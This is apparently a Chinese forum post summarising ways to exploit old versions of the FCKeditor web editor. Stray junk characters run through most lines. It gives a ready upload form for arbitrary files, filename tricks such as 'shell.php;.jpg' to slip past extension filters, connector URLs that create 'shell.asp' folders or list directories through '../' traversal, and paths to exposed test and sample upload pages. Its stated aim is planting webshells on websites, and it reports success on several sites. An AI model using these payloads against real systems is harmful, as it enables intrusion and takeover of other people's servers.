Fckeditor漏洞利用总结
+ y4 `# r) D$ ?! |! P! s查看编辑器版本
" B) m; y' F3 M0 r$ LFCKeditor/_whatsnew.html+ q0 _9 x5 h" m# N2 u
—————————————————————————————————————————————————————————————* M9 _5 V8 U2 Z- q* ]3 u- @
6 P# x, e0 b; W/ }+ N1 m
2. Version 2.2 版本
" h& k* T2 [) Y q' KApache+linux 环境下在上传文件后面加个.突破!测试通过。" W" u5 g. j1 F8 h. y N( u- z: ^
—————————————————————————————————————————————————————————————. ?* v8 K7 |3 ^. ]0 q- R# _
* u4 q3 C' i/ |! J3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
5 W# j; O8 L8 }- G) N u( _8 v<form id="frmUpload" enctype="multipart/form-data"" E+ J1 W5 E6 y1 x: K
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
* `$ U8 Z& D* F( H; l& [, X- H& k$ d<input type="file" name="NewFile" size="50"><br># {1 f' l7 j2 M# }
<input id="btnUpload" type="submit" value="Upload">
2 Y5 ]' E0 w' A* J& L& ^</form>
. r6 H' C' M7 M& A—————————————————————————————————————————————————————————————& }8 E7 X( M: U5 x
6 v" r' F. Y1 _3 |' r4.FCKeditor 文件上传“.”变“_”下划线的绕过方法3 t! n# b9 i+ T% b
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
8 F4 p' ]1 B: Y! s 4.1:提交shell.php+空格绕过
- c3 t# F2 Y2 s( T0 }: z1 h不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。2 Z y6 }) ]: a6 A* X
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。2 Y" T Y- ^8 P. ^$ P; X
—————————————————————————————————————————————————————————————
. `6 N# m% M8 T/ F* b9 U5 O# H. t Q [* Z( `& Q, e
5. 突破建立文件夹
: C' c' ]% |$ x5 M9 l0 J& ]FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
! z0 p4 q* V! H: lFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp0 T) a3 O) e5 o9 P2 F. A
—————————————————————————————————————————————————————————————
6 d1 n6 C9 }$ @4 W" R& n7 ?' n
d! W2 `" B. U* t5 i( U6. FCKeditor 中test 文件的上传地址
# T0 W$ E/ o5 A. y+ @9 }FCKeditor/editor/filemanager/browser/default/connectors/test.html
( c1 d9 {: x( A1 D, xFCKeditor/editor/filemanager/upload/test.html* _" p6 S0 b: K- C4 C' G, C4 z( J
FCKeditor/editor/filemanager/connectors/test.html
( T; K+ i, @# \0 q/ k- O+ IFCKeditor/editor/filemanager/connectors/uploadtest.html
' R1 t/ c k% c& ~6 a—————————————————————————————————————————————————————————————
$ p# p4 V) W1 w8 A; g5 W
2 C5 s" @+ H9 P5 R9 T/ y0 z2 i7.常用上传地址 j4 Y/ ^# D9 n0 ?- B1 l
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' U t; ?0 S8 e1 r/ u7 dFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
7 b8 ?, h6 C% I; a+ K$ W9 W* q- [FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)* M6 t5 i( C5 Q8 a. v( Z4 H8 u
JSP 版:
9 o" X" O9 l4 O5 D0 b$ @9 rFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp j2 ?8 W3 L+ w& R" I- R2 N2 k# E
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
" r+ {' W7 h2 Z4 w9 H- J, m件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。2 ^7 ^; Z* a, h: f( X3 T2 T! G1 O
—————————————————————————————————————————————————————————————
' s$ V* |6 ?+ Y7 J: R+ N* J% H% m0 q
8.其他上传地址
& {2 O7 Z5 Y# U8 Z+ _* H! [5 P. S3 \FCKeditor/_samples/default.html1 {5 ?/ N% | ]/ o5 X* b
FCKeditor/_samples/asp/sample01.asp
" Q4 X7 d4 X( S* oFCKeditor/_samples/asp/sample02.asp; P3 ~( N3 r. b
FCKeditor/_samples/asp/sample03.asp
8 m5 y3 }/ L& PFCKeditor/_samples/asp/sample04.asp5 W" ?+ J4 _' y$ \, t! K
一般很多站点都已删除_samples 目录,可以试试。
! }8 p0 @& X' E8 fFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。) f; ^7 v" Y5 U' C
—————————————————————————————————————————————————————————————' m2 E- a2 d# r. F ~" i! d
: N8 @9 ?- G' b( {9.列目录漏洞也可助找上传地址! [# ?- v' N, V+ i9 @ X
Version 2.4.1 测试通过" J" o, o7 Y- a# `* Z9 r
修改CurrentFolder 参数使用 ../../来进入不同的目录
) }3 g! z: u B/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
$ H- e9 v! _% e1 P1 P$ `" r3 X! u8 L根据返回的XML 信息可以查看网站所有的目录。
' d! G. G4 V8 C1 E& ?8 b4 l" VFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
. |& D- o- T/ r7 @& F" X9 K+ p( D也可以直接浏览盘符:& f/ O: G4 U& m" m" j
JSP 版本:
e W* v6 f6 G' M* J; T+ f9 b8 a$ }$ aFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
, j/ @0 `' @7 S1 @( K4 ]6 F/ o7 T—————————————————————————————————————————————————————————————
7 x& |! D, u- w" `2 E$ f: h y; D# Q. J, v% k
10.爆路径漏洞7 ~# H$ c8 E- o6 i. |1 {
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
: ^: o: j, n& a6 f—————————————————————————————————————————————————————————————) @$ \+ ]2 f' L2 X( Y( |
4 U1 D1 [3 c& [11. FCKeditor 被动限制策略所导致的过滤不严问题
2 f7 s" P# T( }! S5 I5 a& m 影响版本: FCKeditor x.x <= FCKeditor v2.4.3" U2 B% A: B t/ b
脆弱描述:* [+ u) J/ K( X- ^, u' K
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
0 [" ?6 W( [ J, n& e: dhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm2 J, l1 }* O. w( _8 r7 L) @) T
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!9 X4 a" e4 w- o5 g8 j# c
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
$ M1 a1 s1 H1 p& R 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
' K( z3 \% C) M0 @—————————————————————————————————————————————————————————————7 t; R$ ?( G: q+ c* |3 Q" P- r1 ?" ^
6 L1 w0 L3 Q( Q6 R- |
12.最古老的漏洞,Type文件没有限制!+ b! S" p6 S2 B
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 9 L: ^ A# H& `# N0 O0 X; m
—————————————————————————————————————————————————————————————
% n9 s8 c8 ]" Z6 f' s
: ?0 }8 H; L5 \: L- ^1 p===============================================================================================================================================
2 I. J9 G2 z& k6 z& x( f s3 f( ]( E$ j
FCK编辑器jsp版本漏洞:: F* s$ ^0 X- ~: f1 v3 C
2 X% p; G. ]4 F4 B% j0 M
8 {4 \2 V: h; F, lhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
9 ~" [2 y6 l7 j1 }" x9 }0 G6 s: u8 s# ]0 v
上传马所在目录! A( r7 Q! q" X$ J: q
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
( H+ _& Z7 O. H* X/ R上传shell的地址:
9 e! U! D! }" a+ i9 Thttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector5 u1 G0 \& H6 j1 Z& ?, [
跟版本有关系.并不是百分百成功. 测试成功几个站./ t# {! H1 i) u5 J6 d5 F; R( r
不能通杀.很遗憾.
$ Z0 W8 t6 h3 ^' M) F* {http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
9 m. N- ~9 {1 r( r如果以上地址不行可以试试" o( Q( r( u* \6 O. e
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
. k. l t0 j1 M$ h2 ?/ ^- \FCKeditor/_samples// A6 A" h1 r. D+ Y! |6 d6 K
FCKeditor/_samples/default.html; w! `9 h! P4 m+ u+ h3 M& T
FCKeditor/editor/fckeditor.htm8 w* ~) J3 }7 H4 n- e) o6 s4 Y1 h
FCKeditor/editor/fckdialog.html) Y5 } Z' B+ k$ m0 J
% \6 \. |, }% L) T$ k$ ?6 X8 I# u' W& U
* ]4 u ~9 l: @& W解析漏洞+未重命名文件时上传漏洞 1.asp;jpg- s, g/ ^! b8 H, T( ~
|